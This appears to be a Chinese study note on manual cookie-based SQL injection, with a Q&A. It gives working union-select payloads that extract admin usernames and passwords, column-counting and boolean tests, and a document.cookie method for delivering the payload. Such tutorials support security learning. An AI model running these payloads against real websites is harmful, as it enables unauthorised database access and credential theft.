目录
什么是cookie?
指某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
简单地说,当用户使用浏览器访问一个支持Cookie的网站的时候,用户会提供包括用户名在内的个人信息并且提交至服务器,服务器回传给用户这段个人信息的加密版本,这些信息并不存放在HTTP响应体(Response Body)中,而存放于HTTP响应头(Response Header)。
什么是cookie注入?
ookie注入:将数据库数据放在Cookie里面进行注入。
具体方法:cookie注入就是抓包在bp里面注入。
Cookie手注流程
一、判断注入点
id=1 and 1=1 正常 id=1 and 1=2 错误
and 1=1 --> 页面有内容
and 1=2 --> 页面没有内容
===》 这个网站存在数据库注入漏洞。
注:通过构造错误的语句根据返回结果判断是否存在注入点
二、判断字段数
order by :用于根据指定的列对结果集进行排序。
order by 10 --> 页面有内容 --> 网站的表里面有10列。
order by 11 --> 页面没有内容 --> 网站的表里面没有11列,只有10列。
三、判断回显点
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
四、查询相关内容
猜询用户名
171 and 1=2 union select 1,username,3,4,5,6,7,8,9,10 from admin
猜询密码
171 and 1=2 union select 1,2,password,4,5,6,7,8,9,10 from admin
补充
ps:
①.通过Cookie进行传参的时候,必须要将传参的语句,进行一次URL编码。
②.Mysql 数据库,select 1,2
Access 数据库,select 列名 from 表名
扩展:
document.cookie = “id=” + escape(“171 and 1=2 union select 1,username,3,4,5,6,7,8,9,10 from admin”) --> 依旧出现了回显点以及数据。
#document.cookie ; 作用: 设置Cookie
#“id=” ;作用: 设置id
#escape(‘内容’) ; 作用: 将内容进行一次URL编码。
document.cookie和Burp的作用是一样的。
答疑
1.为什么是select 1,2 不是 select 1,2,3?
union: 同时执行两条查询语句。关键点:必须保证两条查询语句的列数保持一致。
select id,username,password from user union select 1,2,3;
select id,username from user union select 1,2;
2.你咋判断一定是md5?
每一种加密方法,编码方法,都是有特征的。
3.如何排查网站有cookie注入漏洞的?
and 1=1 排查出有注入漏洞的话就说明有cookie注入漏洞?渗透测试重在尝试。多尝试一下。
4.我都是先学工具后补知识?
前期多学漏洞原理,后期多掌握工具。
5.挖洞的话,可以用工具扫吗?
可以,有个前提:千万别影响别人网站的正常业务运行。
6.access 语法比较严谨,那怎么得到他的库名和表名?
爆破,或者用sqlmap工具跑
常见的表名与表项
见我的资源。